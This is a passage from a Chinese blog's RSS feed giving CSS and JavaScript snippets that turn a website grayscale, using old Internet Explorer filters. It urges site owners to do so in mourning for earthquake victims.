class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.junyuqin.com/blog/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">html { filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); }</div></div><br/><br/><br/><br/>三、如果是纯HTM页面的可以加在header.htm的Body中间<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.junyuqin.com/blog/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;style&gt;<br/>html{filter:progidXImageTransform.Microsoft.BasicImage(grayscale=1);}<br/>&lt;/style&gt;</div></div><br/><br/><br/><br/>四、或者直接将以下代码粘贴到css文件里即可<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.junyuqin.com/blog/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">HTML {<br/>FILTER: progid:DXImageTransform.Microsoft.BasicImage(grayScale :1)<br/>}<br/>BODY {<br/>FILTER: progid:DXImageTransform.Microsoft.BasicImage(grayScale :1)<br/>}<br/>DIV {<br/>FILTER: progid:DXImageTransform.Microsoft.BasicImage(grayScale :1)<br/>}<br/>IMG {<br/>FILTER: progid:DXImageTransform.Microsoft.BasicImage(grayScale :1)<br/>}<br/>OBJECT {<br/>FILTER: progid:DXImageTransform.Microsoft.BasicImage(grayScale :1)<br/>}<br/>Sel&#101;ct {<br/>FILTER: progid:DXImageTransform.Microsoft.BasicImage(grayScale :1)<br/>}<br/>EMBED {<br/>FILTER: progid:DXImageTransform.Microsoft.BasicImage(grayScale :1)<br/>}</div></div><br/><br/><br/><br/>五、<div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.junyuqin.com/blog/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">{ filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); }</div></div><br/><br/>使用方法：这段代码可以变网页为黑白，将代码加到CSS最顶端就可以实现素装。<br/>有一些站长的网站可能使用这个css 不能生效，是因为网站没有使用最新的网页标准协议<br/><br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.junyuqin.com/blog/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" target="_blank" rel="external">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>&#34;&gt;<br/>&lt;html xmlns=&#34;<a href="http://www.w3.org/1999/xhtml" target="_blank" rel="external">http://www.w3.org/1999/xhtml</a>&#34;&gt; </div></div><br/><br/><br/>请将网页最头部的替换为以上代码。<br/><br/>有一些网站FLASH动画的颜色不能被CSS滤镜控制，可以在FLASH代码的和之间插入：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.junyuqin.com/blog/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;param value=&#34;false&#34; name=&#34;menu&#34;/&gt;<br/>&lt;param value=&#34;opaque&#34; name=&#34;wmode&#34;/&gt; </div></div><br/><br/>最简单的把页面变成灰色的代码是在head 之间加 <br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.junyuqin.com/blog/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;style type=&#34;text/css&#34;&gt; html {FILTER: gray} &lt;/style&gt;</div></div><br/><br/><br/>网站变黑白代码，自己加到css样式里<div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.junyuqin.com/blog/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">body{filter:Gray;}</div></div><br/><br/>如果光让图片变黑白&nbsp;&nbsp;<div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.junyuqin.com/blog/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent"> img{filter:Gray;}</div></div><br/><br/><br/><br/>六、在&lt;body&gt;里也可以用下面的代码（Tom博客首页用的是这个代码）<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.junyuqin.com/blog/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- 黑白滤镜 --&gt;（html注释）<br/>&lt;script language=&#34;javascript&#34;&gt;<br/>document.body.style.filter&nbsp;&nbsp; =&nbsp;&nbsp; &#34;progid:DXImageTransform.Microsoft.BasicImage(GrayScale=1)&#34;;<br/>&lt;/script&gt;</div></div><br/>建议全国站长动起来，为在地震中遇难的同胞哀悼！<br/><br/>]]></description>
		</item>
		
</channel>
</rss>
